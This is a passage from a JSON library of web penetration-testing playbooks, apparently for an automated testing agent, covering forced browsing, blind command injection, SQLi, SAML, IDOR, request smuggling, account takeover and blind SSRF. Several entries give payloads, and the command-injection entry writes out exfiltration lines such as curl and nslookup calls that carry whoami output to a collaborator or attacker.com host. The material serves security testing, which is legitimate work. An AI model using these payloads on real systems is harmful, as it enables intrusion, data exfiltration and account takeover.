},
|
||
|
||
"forced_browsing": {
|
||
"category": "authorization",
|
||
"title": "Forced Browsing / Direct Object Access",
|
||
"overview": "Access functionality or resources by directly navigating to URLs not linked in the application. Test for hidden endpoints, admin pages, backup files, and unprotected API routes.",
|
||
"threat_model": "Attacker discovers and accesses hidden or unlinked endpoints (admin panels, debug pages, API routes, backup files) that lack proper authorization checks.",
|
||
"discovery": ["Directory brute-force with wordlists", "JavaScript source analysis for hidden endpoints", "API documentation discovery", "robots.txt and sitemap.xml analysis"],
|
||
"test_phases": [{"phase": 1, "name": "Hidden Endpoint Discovery", "prompts": [
|
||
"Check robots.txt and sitemap.xml for disallowed/hidden paths.",
|
||
"Search JavaScript for hardcoded API endpoints: fetch('/api/...'), axios.get('/admin/...'), '/internal/'.",
|
||
"Brute-force common paths: /admin, /dashboard, /console, /debug, /api/v2, /internal, /swagger, /api-docs, /graphql, /actuator.",
|
||
"Check for API versioning: /api/v1/ exists, try /api/v2/, /api/v3/, /api/internal/.",
|
||
"Test with different HTTP methods: OPTIONS /api/hidden-endpoint may reveal allowed methods.",
|
||
"Check for unprotected file paths: /backups/, /dump/, /export/, /download/, /upload/"
|
||
], "expected_results": ["Hidden endpoints discovered", "Admin pages accessible without auth"], "decision_tree": {"admin_access": "HIGH - Admin panel via forced browsing", "api_endpoints": "MEDIUM - Hidden API endpoints accessible", "info_disclosure": "LOW - Non-sensitive hidden pages"}}],
|
||
"bypass_strategies": ["Path variations: /admin, /ADMIN, /admin/, /admin;.css", "Method switching: GET, POST, PUT", "Header bypass: X-Original-URL, X-Rewrite-URL"],
|
||
"verification_checklist": ["Hidden endpoint returns functional content", "No authentication/authorization required", "Content is sensitive or administrative"],
|
||
"chain_attacks": ["Forced browsing → Admin access → Application control"],
|
||
"anti_false_positive": ["Hidden endpoint that requires auth = properly protected", "Empty 200 response != functional endpoint"]
|
||
},
|
||
|
||
"debug_mode": {
|
||
"category": "infrastructure",
|
||
"title": "Debug Mode / Development Features Enabled",
|
||
"overview": "Application running with debug mode or development features enabled in production: verbose errors, interactive debuggers, debug endpoints, development tools.",
|
||
"threat_model": "Debug mode in production reveals internal details and may provide interactive code execution (Django debug, Flask debug, Rails console, Node.js inspector).",
|
||
"discovery": ["Check for interactive debugger endpoints", "Check verbose error pages", "Look for development middleware/headers"],
|
||
"test_phases": [{"phase": 1, "name": "Debug Feature Detection", "prompts": [
|
||
"Trigger error to check for debug page: Django debug mode shows full traceback with local variables and request details.",
|
||
"Check Flask/Werkzeug debugger: if enabled, error page has interactive Python console (RCE via debugger PIN bypass or known PIN).",
|
||
"Check for Node.js inspector: /json/list on port 9229. If accessible, full debugging/RCE possible.",
|
||
"Check for Laravel Telescope: /telescope, /horizon for queue monitoring.",
|
||
"Check for Ruby on Rails console: /rails/info, /rails/mailers, web-console gem in error pages.",
|
||
"Check for GraphQL Playground/GraphiQL: interactive query editors often left in production."
|
||
], "expected_results": ["Debug mode detected", "Interactive debugger accessible", "Development tools in production"], "decision_tree": {"interactive_debugger": "CRITICAL - RCE via debug console", "verbose_errors": "MEDIUM - Internal details exposed", "dev_tools_in_prod": "LOW-MEDIUM - Development features accessible"}}],
|
||
"bypass_strategies": ["Werkzeug debugger PIN calculation from leaked /proc/self info", "Debug endpoints on non-standard ports", "Access via internal network or proxy"],
|
||
"verification_checklist": ["Debug features genuinely in production environment", "Interactive execution possible (not just error display)", "Internal details aid further attacks"],
|
||
"chain_attacks": ["Debug console → RCE", "Verbose errors → Technology details → Targeted exploits"],
|
||
"anti_false_positive": ["Staging/dev environment with debug is expected", "Verify this is production, not dev/staging"]
|
||
},
|
||
|
||
"command_injection_blind": {
|
||
"category": "injection",
|
||
"title": "Blind Command Injection (OOB / Time-Based)",
|
||
"overview": "Command injection where output is not returned in response. Detect via time delays (sleep), DNS callbacks, or HTTP callbacks to external servers.",
|
||
"threat_model": "Same as command injection but exploitation requires out-of-band techniques to confirm execution and extract data.",
|
||
"discovery": ["Time-based: inject ;sleep 5; and measure response delay", "OOB: inject ;nslookup attacker.com; or ;curl attacker.com;", "Test all command separators"],
|
||
"test_phases": [{"phase": 1, "name": "Blind Command Injection Detection", "prompts": [
|
||
"Time-based: inject ;sleep 5; (Linux) or ;timeout 5; (Windows) in each parameter. If response is delayed by ~5 seconds, blind command injection confirmed.",
|
||
"DNS callback: ;nslookup UNIQUE_ID.COLLABORATOR; or ;host UNIQUE_ID.COLLABORATOR;. Check for DNS resolution at collaborator.",
|
||
"HTTP callback: ;curl http://COLLABORATOR/$(whoami); or ;wget http://COLLABORATOR/$(id);. Check for HTTP request with command output in URL.",
|
||
"Data exfiltration via DNS: ;nslookup $(whoami).COLLABORATOR; — command output appears as DNS subdomain.",
|
||
"Test all separators: ;, |, ||, &&, `, $(), %0a with each detection technique.",
|
||
"Confirm with different delays: sleep 3 = 3s, sleep 7 = 7s (proportional delay = strong confirmation)."
|
||
], "expected_results": ["Time delay proportional to sleep value", "OOB callback received with command output"], "decision_tree": {"oob_with_output": "CRITICAL - Blind command injection with data exfiltration", "time_based_confirmed": "HIGH - Blind command injection confirmed", "no_indicators": "Try different separators and encodings"}}],
|
||
"bypass_strategies": ["DNS exfiltration for data extraction", "Time-based binary search for blind extraction", "HTTP callback with encoded output"],
|
||
"verification_checklist": ["Time delay is proportional and consistent", "OOB callback received from target's IP", "Different commands produce different outputs/delays"],
|
||
"chain_attacks": ["Blind command injection → Data exfiltration via DNS", "Blind command injection → Reverse shell"],
|
||
"anti_false_positive": ["Network latency can cause timing false positives — use 5s+ delays", "OOB callback must come from target IP, not testing infrastructure"]
|
||
},
|
||
|
||
"sqli_second_order": {
|
||
"category": "injection",
|
||
"title": "Second-Order SQL Injection",
|
||
"overview": "Malicious input stored in database (escaped for first query) but used unsafely in a subsequent query. Test by registering users/submitting data with SQL payloads that trigger on later operations.",
|
||
"threat_model": "Attacker stores SQL payload via properly-escaped insert. Later, a different query retrieves and uses the stored value without parameterization, enabling SQL injection.",
|
||
"discovery": ["Register user with name: admin'-- and check for SQL errors on profile/admin pages", "Submit data with SQL payloads, check all pages that display or process stored data"],
|
||
"test_phases": [{"phase": 1, "name": "Second-Order SQLi Detection", "prompts": [
|
||
"Register user with username: admin'-- or name: test' OR '1'='1. The registration may succeed (input is escaped for INSERT).",
|
||
"Trigger operations that query using the stored value: view profile, admin user list, password change, user search.",
|
||
"If error occurs on these subsequent pages, second-order SQLi is confirmed — the stored value is used unsafely in a SELECT/UPDATE query.",
|
||
"Try data extraction: register as admin' UNION SELECT version(),2,3-- and check where the extracted data appears.",
|
||
"Test in all stored fields: name, address, bio, company, any field that might be used in subsequent queries."
|
||
], "expected_results": ["SQL error on subsequent operation", "Data extracted via second-order injection"], "decision_tree": {"data_extracted": "HIGH - Second-order SQLi with extraction", "error_on_subsequent": "MEDIUM - Second-order confirmed but extraction needs work", "no_second_order": "All queries properly parameterized"}}],
|
||
"bypass_strategies": ["Store payload via different input than trigger point", "Payload in metadata fields that appear in admin views", "Time-based detection for blind second-order"],
|
||
"verification_checklist": ["Payload stored successfully in first operation", "SQL error/data extraction occurs in DIFFERENT operation", "Negative control: normal data doesn't cause the error"],
|
||
"chain_attacks": ["Second-order SQLi → Data extraction → Credential theft"],
|
||
"anti_false_positive": ["Error on storage != second-order (that's first-order)", "Must prove the STORED value causes injection in SUBSEQUENT query"]
|
||
},
|
||
|
||
"password_reset_poisoning": {
|
||
"category": "authentication",
|
||
"title": "Password Reset Poisoning / Token Theft",
|
||
"overview": "Exploit password reset flow to steal reset tokens via Host header injection, token in URL (referrer leakage), predictable tokens, or lack of token expiration.",
|
||
"threat_model": "Attacker steals or predicts password reset tokens to take over victim accounts by resetting their passwords.",
|
||
"discovery": ["Trigger password reset and analyze the flow", "Check reset token in URL vs POST body", "Check token entropy and expiration"],
|
||
"test_phases": [{"phase": 1, "name": "Password Reset Flow Analysis", "prompts": [
|
||
"Trigger password reset for a test account. Check the reset link: is the token in URL query parameter (leaks via Referer header)?",
|
||
"Test Host header injection: change Host to attacker.com in reset request. Does the reset email contain attacker.com in the link?",
|
||
"Analyze token entropy: collect 5+ reset tokens. Are they sequential? Time-based? Short? Predictable pattern?",
|
||
"Check token expiration: use a reset link after 24+ hours. Does it still work?",
|
||
"Check token reuse: use the reset link twice. Can you reset the password multiple times with the same token?",
|
||
"Check for rate limiting: can you trigger unlimited reset emails for a user (email flooding)?"
|
||
], "expected_results": ["Token leaked via Referer", "Token predictable", "Token doesn't expire"], "decision_tree": {"token_theft_via_host": "HIGH - Account takeover via Host injection", "predictable_token": "HIGH - Token guessable", "no_expiration": "MEDIUM - Tokens live forever", "secure_flow": "Password reset properly implemented"}}],
|
||
"bypass_strategies": ["Host header variants: X-Forwarded-Host, double Host", "Referrer leakage via external resources on reset page", "Token prediction from timestamps/sequential IDs"],
|
||
"verification_checklist": ["Token stolen or predicted enables actual password reset", "New password works for authentication", "Attack doesn't require victim interaction (for Host injection)"],
|
||
"chain_attacks": ["Reset poisoning → Token theft → Account takeover"],
|
||
"anti_false_positive": ["Token in URL is a finding only if external resources load (Referer leak)", "Host header reflected in page but not in email = limited impact"]
|
||
},
|
||
|
||
"api_abuse": {
|
||
"category": "logic",
|
||
"title": "API Abuse / Excessive Data Exposure",
|
||
"overview": "API returns more data than the client needs, or exposes internal/debug endpoints, or allows bulk operations without throttling.",
|
||
"threat_model": "Attacker exploits verbose API responses to extract sensitive data not displayed in the UI, performs bulk scraping via unthrottled endpoints, or abuses API features for unintended purposes.",
|
||
"discovery": ["Compare API responses with UI display — API may return extra fields", "Check for bulk/export endpoints", "Test API pagination limits"],
|
||
"test_phases": [{"phase": 1, "name": "API Abuse Assessment", "prompts": [
|
||
"Compare API response fields with what's shown in UI. The API may return: password hashes, internal IDs, email addresses, phone numbers, admin flags not displayed on the frontend.",
|
||
"Test pagination abuse: /api/users?page=1&per_page=10000 — can you retrieve all records in one request?",
|
||
"Test for hidden API endpoints by checking JavaScript, API docs (/swagger, /openapi.json), or brute-forcing paths.",
|
||
"Test API versioning: /api/v1/users vs /api/v2/users. Older versions may lack security fixes.",
|
||
"Test bulk operations: can you enumerate all users via /api/users?page=1, page=2, ...? Is there rate limiting?",
|
||
"Check for debug parameters: ?debug=true, ?verbose=true, ?internal=true that expose additional data."
|
||
], "expected_results": ["Excessive data in API responses", "Bulk scraping possible", "Hidden endpoints found"], "decision_tree": {"sensitive_data_exposed": "HIGH - PII or secrets in API", "bulk_scraping": "MEDIUM - Mass data extraction possible", "hidden_apis": "MEDIUM - Undocumented endpoints accessible"}}],
|
||
"bypass_strategies": ["Pagination manipulation", "Debug parameters", "API version downgrade", "GraphQL introspection for field discovery"],
|
||
"verification_checklist": ["Extra fields contain actually sensitive data", "Bulk scraping returns meaningful data volumes", "Hidden APIs provide additional functionality"],
|
||
"chain_attacks": ["API abuse → Mass data scraping → PII exposure"],
|
||
"anti_false_positive": ["Extra fields may be intentionally public", "Pagination limits may exist at CDN/WAF level"]
|
||
},
|
||
|
||
"http_method_override": {
|
||
"category": "logic",
|
||
"title": "HTTP Method Override / Method Tampering",
|
||
"overview": "Application or middleware supports method override headers (X-HTTP-Method-Override, X-Method-Override, _method parameter) that can bypass method-based access controls.",
|
||
"threat_model": "Attacker uses method override to change POST to PUT/DELETE/PATCH, bypassing firewalls, WAFs, or application logic that restricts certain HTTP methods.",
|
||
"discovery": ["Test X-HTTP-Method-Override: DELETE on POST requests", "Test _method=DELETE in POST body", "Check for method-based access controls"],
|
||
"test_phases": [{"phase": 1, "name": "Method Override Testing", "prompts": [
|
||
"Send POST request with X-HTTP-Method-Override: DELETE header. Does the application process it as DELETE?",
|
||
"Try other override headers: X-HTTP-Method, X-Method-Override, X-HTTP-Method-Override, _method.",
|
||
"Test _method parameter in POST body: _method=PUT&data=modified.",
|
||
"Test in query string: POST /api/resource?_method=DELETE.",
|
||
"Use override to bypass access controls: if DELETE /api/users/1 returns 403, try POST /api/users/1 with X-HTTP-Method-Override: DELETE.",
|
||
"Test TRACE method via override: may enable cross-site tracing."
|
||
], "expected_results": ["Method override changes request processing", "Access control bypassed via override"], "decision_tree": {"acl_bypass": "HIGH - Access control bypassed via method override", "method_changes": "MEDIUM - Override works but no security impact", "override_not_supported": "Method override not available"}}],
|
||
"bypass_strategies": ["Multiple override header variants", "_method in body and query", "Case variation: X-Http-Method-Override"],
|
||
"verification_checklist": ["Application processes the overridden method", "Access control actually bypassed (not just method accepted)", "Action has security impact"],
|
||
"chain_attacks": ["Method override → Delete resources", "Method override → Bypass WAF → SQLi/XSS"],
|
||
"anti_false_positive": ["Method override support alone is not a vulnerability", "Must demonstrate security-relevant bypass"]
|
||
},
|
||
|
||
"cookie_manipulation": {
|
||
"category": "authentication",
|
||
"title": "Cookie Manipulation / Insecure Cookie Configuration",
|
||
"overview": "Insecure cookie attributes (missing HttpOnly, Secure, SameSite), predictable cookie values, or cookie-based authentication that can be manipulated.",
|
||
"threat_model": "Attacker manipulates cookies to escalate privileges, hijack sessions via cookie theft (XSS without HttpOnly), or forge authentication cookies.",
|
||
"discovery": ["Inspect all cookies for security attributes", "Check if session cookies are predictable", "Test cookie-based authorization"],
|
||
"test_phases": [{"phase": 1, "name": "Cookie Security Analysis", "prompts": [
|
||
"Inspect all cookies: check for HttpOnly (prevents XSS theft), Secure (HTTPS only), SameSite (CSRF protection), Path, Domain, Expires.",
|
||
"Test cookie manipulation: if cookie contains role=user, change to role=admin. If cookie is base64 encoded, decode, modify, re-encode.",
|
||
"Check for cookie-based auth without integrity: if session cookie is username=bob, change to username=admin.",
|
||
"Test signed cookies: modify the payload and see if the application detects tampering (HMAC validation).",
|
||
"Check cookie scope: is the cookie set for .example.com (all subdomains)? Subdomain XSS can steal it.",
|
||
"Test cookie expiration: is it a session cookie or persistent? Long-lived cookies increase theft window."
|
||
], "expected_results": ["Missing security attributes", "Privilege escalation via cookie manipulation", "Predictable/forgeable cookies"], "decision_tree": {"priv_escalation": "HIGH - Cookie manipulation grants admin access", "missing_httponly": "MEDIUM - Cookies stealable via XSS", "missing_secure": "MEDIUM - Cookies sent over HTTP", "properly_configured": "Cookie security attributes correct"}}],
|
||
"bypass_strategies": ["Base64 decode/modify/encode", "URL decode cookie values", "Remove signature and test if server validates", "Cookie tossing from subdomain"],
|
||
"verification_checklist": ["Modified cookie grants elevated access", "Missing attributes confirmed via browser dev tools", "Cookie scope allows theft from subdomains"],
|
||
"chain_attacks": ["XSS + Missing HttpOnly → Cookie theft → Session hijacking", "Cookie manipulation → Privilege escalation"],
|
||
"anti_false_positive": ["Missing HttpOnly on non-session cookies = low impact", "Cookie manipulation that doesn't change access level = not a finding"]
|
||
},
|
||
|
||
"saml_attack": {
|
||
"category": "authentication",
|
||
"title": "SAML Authentication Attack",
|
||
"overview": "Attacks against SAML SSO: XML signature wrapping, assertion manipulation, XXE in SAML, certificate confusion, and replay attacks.",
|
||
"threat_model": "Attacker manipulates SAML assertions to impersonate other users, escalate privileges, or bypass SSO authentication.",
|
||
"discovery": ["Identify SAML endpoints: /saml/login, /saml/acs, /saml/metadata", "Capture SAML response/assertion", "Check signature validation"],
|
||
"test_phases": [{"phase": 1, "name": "SAML Security Testing", "prompts": [
|
||
"Capture SAML response (base64 encoded in SAMLResponse parameter). Decode and analyze the XML assertion.",
|
||
"Test XML Signature Wrapping: clone the signed assertion, modify the cloned version (change NameID to admin), keep original signature. If SP validates signature on original but processes the cloned assertion, bypass confirmed.",
|
||
"Test assertion manipulation: change NameID, change Role/Group attributes, change Audience, change NotOnOrAfter expiration.",
|
||
"Test XXE in SAML: inject XXE payload in the SAML XML to read files or trigger SSRF.",
|
||
"Test signature removal: remove the Signature element entirely. If SP doesn't require signatures, assertion is forgeable.",
|
||
"Test replay: reuse an old valid SAML assertion. Check if InResponseTo and timestamp are validated."
|
||
], "expected_results": ["User impersonation via assertion manipulation", "Signature bypass", "XXE in SAML"], "decision_tree": {"user_impersonation": "CRITICAL - Any user impersonation via SAML", "signature_bypass": "CRITICAL - SAML signatures not validated", "xxe_in_saml": "HIGH - XXE via SAML XML"}}],
|
||
"bypass_strategies": ["XML Signature Wrapping (XSW) attacks", "Signature exclusion", "Comment injection in NameID", "Certificate confusion"],
|
||
"verification_checklist": ["Modified assertion accepted by SP", "Different user identity assumed", "Signature bypass confirmed (not just error)"],
|
||
"chain_attacks": ["SAML bypass → Any user impersonation → Account takeover"],
|
||
"anti_false_positive": ["Must prove assertion manipulation is ACCEPTED, not just sent", "Modified assertion must grant access as different user"]
|
||
},
|
||
|
||
"idor_write": {
|
||
"category": "authorization",
|
||
"title": "IDOR Write (Modify/Delete Other Users' Resources)",
|
||
"overview": "Specifically targeting write operations (PUT, PATCH, DELETE) where object IDs can be manipulated to modify or delete other users' resources.",
|
||
"threat_model": "Attacker modifies or deletes other users' data by manipulating object IDs in write operations, which may have weaker authorization than read operations.",
|
||
"discovery": ["Identify all write endpoints (PUT, PATCH, DELETE)", "Test with other users' object IDs", "Check if read-IDOR is blocked but write-IDOR works"],
|
||
"test_phases": [{"phase": 1, "name": "Write IDOR Testing", "prompts": [
|
||
"For each write endpoint: PUT /api/posts/{id}, DELETE /api/comments/{id}, PATCH /api/users/{id}. Try with another user's object ID.",
|
||
"Test modification: PUT /api/users/{other_user_id} with {\"email\": \"attacker@evil.com\"}. If email changes, account takeover possible.",
|
||
"Test deletion: DELETE /api/posts/{other_user_id_post}. Verify the post is actually deleted.",
|
||
"Test partial updates: PATCH with only one field {\"role\": \"admin\"} on your own ID (mass assignment + IDOR).",
|
||
"Verify the write actually persisted: GET the modified resource and confirm changes."
|
||
], "expected_results": ["Other user's resource modified", "Other user's resource deleted"], "decision_tree": {"write_idor_confirmed": "HIGH - Other users' data modifiable/deletable", "read_only_idor": "MEDIUM - Can read but not modify", "properly_authorized": "Write operations properly restricted"}}],
|
||
"bypass_strategies": ["Try all HTTP methods (PUT, PATCH, DELETE, POST)", "Try method override", "Try nested resource paths", "Array of IDs including unauthorized ones"],
|
||
"verification_checklist": ["Resource actually modified/deleted (not just 200 response)", "Verify via GET request as the resource owner", "Changes affect the other user's view"],
|
||
"chain_attacks": ["Write IDOR → Email change → Password reset → Account takeover", "Write IDOR → Delete all data → Denial of service"],
|
||
"anti_false_positive": ["200 response without actual modification = not IDOR", "Must verify the write PERSISTED"]
|
||
},
|
||
|
||
"integer_overflow": {
|
||
"category": "logic",
|
||
"title": "Integer Overflow / Underflow",
|
||
"overview": "Exploit integer arithmetic boundaries in financial calculations, quantity fields, or size parameters. Values exceeding MAX_INT wrap around to negative/zero.",
|
||
"threat_model": "Attacker provides extreme numeric values that cause integer overflow in server-side calculations, resulting in negative prices, zero totals, or bypassed limits.",
|
||
"discovery": ["Test with MAX_INT values in numeric fields", "Test with negative numbers", "Test with very large decimals"],
|
||
"test_phases": [{"phase": 1, "name": "Integer Overflow Testing", "prompts": [
|
||
"Test with INT32_MAX: 2147483647. Test INT32_MAX+1: 2147483648 (may wrap to -2147483648).",
|
||
"Test in quantity fields: quantity=2147483647, quantity=-1, quantity=0.",
|
||
"Test in price/amount fields: amount=99999999999999, amount=0.001, amount=-100.",
|
||
"Test multiplication overflow: if price * quantity is calculated server-side, try quantity=2147483647 with price > 1.",
|
||
"Test with floating point: 0.1 + 0.2 != 0.3 in IEEE 754 — exploit rounding in financial calculations."
|
||
], "expected_results": ["Integer overflow causes negative/zero price", "Quantity limits bypassed", "Rounding exploitation"], "decision_tree": {"financial_impact": "HIGH - Monetary exploitation via overflow", "limit_bypass": "MEDIUM - Numeric limits circumvented", "no_overflow": "Proper numeric validation in place"}}],
|
||
"bypass_strategies": ["INT32/INT64 boundary values", "Negative numbers", "Floating point precision issues", "Scientific notation: 1e308"],
|
||
"verification_checklist": ["Calculation result is incorrect/exploitable", "Financial impact demonstrated", "Overflow is on server-side, not just client validation"],
|
||
"chain_attacks": ["Integer overflow → Free/negative-price purchases", "Integer overflow → Buffer overflow in native code"],
|
||
"anti_false_positive": ["Client-side validation error != server-side overflow", "Must demonstrate server processes the overflowed value"]
|
||
},
|
||
|
||
"web_cache_deception": {
|
||
"category": "infrastructure",
|
||
"title": "Web Cache Deception",
|
||
"overview": "Trick CDN/cache into caching authenticated/personalized content by appending static-looking extensions to dynamic URLs. /account → /account/nonexistent.css gets cached.",
|
||
"threat_model": "Attacker sends victim a link like /account/foo.css. CDN caches the authenticated response because it looks like a static file. Attacker then fetches the cached page to steal victim's data.",
|
||
"discovery": ["Test appending .css, .js, .png to authenticated URLs", "Check if CDN caches these paths", "Check path normalization differences"],
|
||
"test_phases": [{"phase": 1, "name": "Web Cache Deception Testing", "prompts": [
|
||
"While authenticated, access /account/nonexistent.css, /account/foo.jpg, /account/bar.js. Check if the response contains your authenticated data.",
|
||
"If it does: check if the response is cached (X-Cache: HIT, Age: > 0). Access the same URL without authentication — if cached data returned, web cache deception confirmed.",
|
||
"Try path separators: /account;.css, /account%0a.css, /account/.css.",
|
||
"Try different static extensions: .css, .js, .png, .jpg, .gif, .svg, .woff, .ico.",
|
||
"Test with different path confusion: /account/..%2Fstatic.css, /account%23.css.",
|
||
"Craft attack: send victim link to /account/evil.css. After victim clicks, fetch the same URL to get victim's cached authenticated page."
|
||
], "expected_results": ["Authenticated content cached as static file", "Attacker retrieves victim's cached data"], "decision_tree": {"cached_auth_data": "HIGH - Authenticated data cacheable and retrievable", "not_cached": "CDN properly excludes dynamic content", "path_normalization_prevents": "Application rejects non-existent paths"}}],
|
||
"bypass_strategies": ["Various static extensions", "Path separator variants", "Double encoding", "Different CDN providers behave differently"],
|
||
"verification_checklist": ["Authenticated data appears in response to static-looking URL", "Response is cached (confirmed via cache headers)", "Unauthenticated request retrieves the cached authenticated data"],
|
||
"chain_attacks": ["Web cache deception → Steal session data → Account takeover"],
|
||
"anti_false_positive": ["Cached content must be authenticated/personalized", "Must verify attacker can actually retrieve the cached data"]
|
||
},
|
||
|
||
"request_smuggling_h2": {
|
||
"category": "infrastructure",
|
||
"title": "HTTP/2 Request Smuggling (H2C / H2.CL / H2.TE)",
|
||
"overview": "HTTP/2 specific smuggling: H2C upgrade smuggling, CL/TE desync in HTTP/2 to HTTP/1.1 translation, and HTTP/2-specific header injection.",
|
||
"threat_model": "Attacker exploits HTTP/2 to HTTP/1.1 translation to smuggle requests past frontend security controls, similar to HTTP/1.1 smuggling but with HTTP/2-specific vectors.",
|
||
"discovery": ["Check if HTTP/2 is supported", "Test H2C upgrade", "Check for HTTP/2 to HTTP/1.1 downgrade"],
|
||
"test_phases": [{"phase": 1, "name": "HTTP/2 Smuggling Detection", "prompts": [
|
||
"Test H2C smuggling: send HTTP/1.1 request with Upgrade: h2c header. If frontend proxy doesn't understand H2C but passes it through, the backend may upgrade to HTTP/2 and accept smuggled requests.",
|
||
"Test H2.CL: send HTTP/2 request with Content-Length header that disagrees with the actual body. If frontend uses HTTP/2 framing but backend uses CL after downgrade, desync occurs.",
|
||
"Test H2.TE: send HTTP/2 request with Transfer-Encoding: chunked. HTTP/2 shouldn't use TE, but some implementations accept it after downgrade.",
|
||
"Test pseudo-header injection: manipulate :path, :method, :authority pseudo-headers. In HTTP/2 to HTTP/1.1 translation, these become regular headers.",
|
||
"Test header injection via HTTP/2 CONTINUATION frames: some implementations don't properly validate continuation frame headers."
|
||
], "expected_results": ["Request smuggled via HTTP/2 desync", "Frontend security bypassed"], "decision_tree": {"h2c_smuggling": "HIGH - Request smuggling via H2C upgrade", "h2_cl_desync": "HIGH - H2 to H1 translation desync", "no_h2_issues": "HTTP/2 implementation properly handles edge cases"}}],
|
||
"bypass_strategies": ["H2C upgrade on non-TLS connections", "Pseudo-header injection", "CONTINUATION frame abuse", "Content-Length in HTTP/2"],
|
||
"verification_checklist": ["Smuggled request processed by backend", "Security controls bypassed via smuggling", "Confirmed in HTTP/2 context (not just HTTP/1.1)"],
|
||
"chain_attacks": ["H2 smuggling → Bypass WAF → SQLi/XSS", "H2 smuggling → Cache poisoning"],
|
||
"anti_false_positive": ["HTTP/2 connection errors != smuggling", "Must demonstrate actual desync between frontend and backend"]
|
||
},
|
||
|
||
"account_takeover": {
|
||
"category": "authentication",
|
||
"title": "Account Takeover (ATO) via Multiple Vectors",
|
||
"overview": "Comprehensive account takeover testing combining multiple attack vectors: password reset, email change, phone change, OAuth linking, session manipulation.",
|
||
"threat_model": "Attacker takes over victim's account through any available mechanism, gaining full control of the victim's identity and data.",
|
||
"discovery": ["Map all account recovery/modification flows", "Check for email/phone verification requirements", "Test OAuth account linking"],
|
||
"test_phases": [{"phase": 1, "name": "Account Takeover Vector Analysis", "prompts": [
|
||
"Test password change without old password: can you change password by sending just the new password (missing re-authentication check)?",
|
||
"Test email change without verification: change email to attacker@evil.com. If no verification email sent to old address, attacker controls the account.",
|
||
"Test phone number change: similar to email — change without verifying old phone number.",
|
||
"Test OAuth account linking: link attacker's OAuth account to victim's account. Then login via OAuth as attacker but access victim's account.",
|
||
"Test session persistence: after password change, are existing sessions invalidated? If not, stolen session remains valid forever.",
|
||
"Test account recovery: phone-based recovery with SIM swap, security question brute-force, support social engineering."
|
||
], "expected_results": ["Account taken over via one or more vectors"], "decision_tree": {"full_ato": "CRITICAL - Account takeover achieved", "partial_ato": "HIGH - Some vectors exploitable but full ATO requires user interaction", "ato_prevented": "Account security controls working"}}],
|
||
"bypass_strategies": ["Skip re-authentication for sensitive changes", "OAuth linking without email verification", "Race condition in email change", "Session not invalidated after credential change"],
|
||
"verification_checklist": ["Full account access obtained as attacker", "Victim locked out or unaware of compromise", "Multiple ATO vectors tested systematically"],
|
||
"chain_attacks": ["ATO → Data theft → Identity fraud"],
|
||
"anti_false_positive": ["Must demonstrate FULL account takeover, not just partial change", "Verify victim can no longer access their own account (or attacker has full parallel access)"]
|
||
},
|
||
|
||
"ssrf_blind": {
|
||
"category": "request_forgery",
|
||
"title": "Blind SSRF (DNS/HTTP Callback Only)",
|
||
"overview": "SSRF where the response is not returned to the attacker. Detect via DNS resolution callbacks or HTTP callbacks. Impact depends on what internal services can be reached.",
|
||
"threat_model": "Attacker confirms server makes requests to arbitrary destinations but cannot see the response. Can still scan internal ports, access cloud metadata, and interact with internal services.",
|
||
"discovery": ["Submit URL to collaborator/webhook", "Check for DNS resolution callback", "Test in webhook URLs, import from URL, profile picture URL"],
|
||
"test_phases": [{"phase": 1, "name": "Blind SSRF Detection & Exploitation", "prompts": [
|
||
"Submit url=http://COLLABORATOR and check for HTTP callback. If received, blind SSRF confirmed.",
|
||
"DNS only: submit url=http://UNIQUE.COLLABORATOR. If DNS resolution observed but no HTTP callback, DNS-only SSRF (lower impact).",
|
||
"Internal port scan: submit url=http://127.0.0.1:{port} for common ports. Measure response times — open ports may respond faster than closed ones.",
|
||
"Cloud metadata via blind SSRF: submit url=http://169.254.169.254/latest/meta-data/. Even if you can't see the response, the server accessed it.",
|
||
"Test with different protocols: gopher://, dict://, file://. Each may interact with different internal services.",
|
||
"Escalate to full SSRF: try DNS rebinding or redirect-based techniques to get response data back."
|
||
], "expected_results": ["HTTP/DNS callback received", "Internal port scan possible", "Cloud metadata accessed"], "decision_tree": {"http_callback": "MEDIUM - Blind SSRF confirmed, test for escalation", "dns_only": "LOW - DNS-only SSRF, limited impact", "internal_scan": "MEDIUM-HIGH - Internal network mapping possible"}}],
|
||
"bypass_strategies": ["DNS rebinding for response reading", "Redirect chains to bypass filters", "Alternative protocols: gopher, dict", "IP encoding: decimal, hex, octal"],
|
||
"verification_checklist": ["Callback received from target server IP", "Internal ports respond differently than external", "Multiple requests confirm consistent behavior"],
|
||
"chain_attacks": ["Blind SSRF → Internal port scan → Service discovery", "Blind SSRF → Cloud metadata access"],
|
||
"anti_false_positive": ["DNS callback may be from DNS prefetching, not SSRF", "Verify callback comes from target server, not testing tool"]
|
||
},
|
||
|
||
"open_redirect_server": {
|
||
"category": "request_forgery",
|
||
"title": "Server-Side Open Redirect (SSRF Amplifier)",
|
||
"overview": "Server-side redirect that follows user-controlled URLs. Unlike client-side open redirect, server-side redirect can be chained with SSRF to bypass URL validation.",
|
||
"threat_model": "Attacker uses server-side redirect as an SSRF amplifier: SSRF to allowed domain → redirect to internal target. Bypasses URL allowlists.",
|
||
"discovery": ["Find server-side redirect endpoints", "Test if server follows redirects", "Chain with SSRF"],
|
||
"test_phases": [{"phase": 1, "name": "Server-Side Redirect Analysis", "prompts": [
|
||
"Find redirect endpoints on allowed domains: if SSRF allows *.example.com, find /redirect?url= on any example.com subdomain.",
|
||
"Test redirect chain: SSRF → https://allowed-domain.com/redirect?url=http://169.254.169.254/. If server follows the redirect, internal access achieved.",
|
||
"Host your own redirect: attacker.com returns 302 to http://internal-target. Submit url=http://attacker.com to the SSRF endpoint.",
|
||
"Test with multiple hops: attacker.com → allowed-domain redirect → internal target.",
|
||
"Check for redirect follow limits: some HTTP clients follow max 5 redirects. Chain within the limit."
|
||
], "expected_results": ["SSRF filter bypassed via redirect chain", "Internal resources accessed via redirect"], "decision_tree": {"filter_bypass": "HIGH - SSRF URL filter bypassed", "no_redirect_follow": "Server doesn't follow redirects"}}],
|
||
"bypass_strategies": ["Chain through allowed domain redirects", "Attacker-hosted 302 redirect", "JavaScript-based redirect (if rendered)", "Meta refresh redirect"],
|
||
"verification_checklist": ["Internal resource accessed via redirect chain", "SSRF URL filter confirmed bypassed", "Redirect chain documented"],
|
||
"chain_attacks": ["SSRF + Redirect → Internal access → Credential theft"],
|
||
"anti_false_positive": ["Must demonstrate actual internal access, not just redirect following"]
|
||
},
|
||
|
||
"graphql_authorization": {
|
||
"category": "authorization",
|
||
"title": "GraphQL Authorization Bypass",
|
||
"overview": "GraphQL field-level authorization bypass: accessing fields, mutations, or subscriptions that should be restricted to certain roles.",
|
||
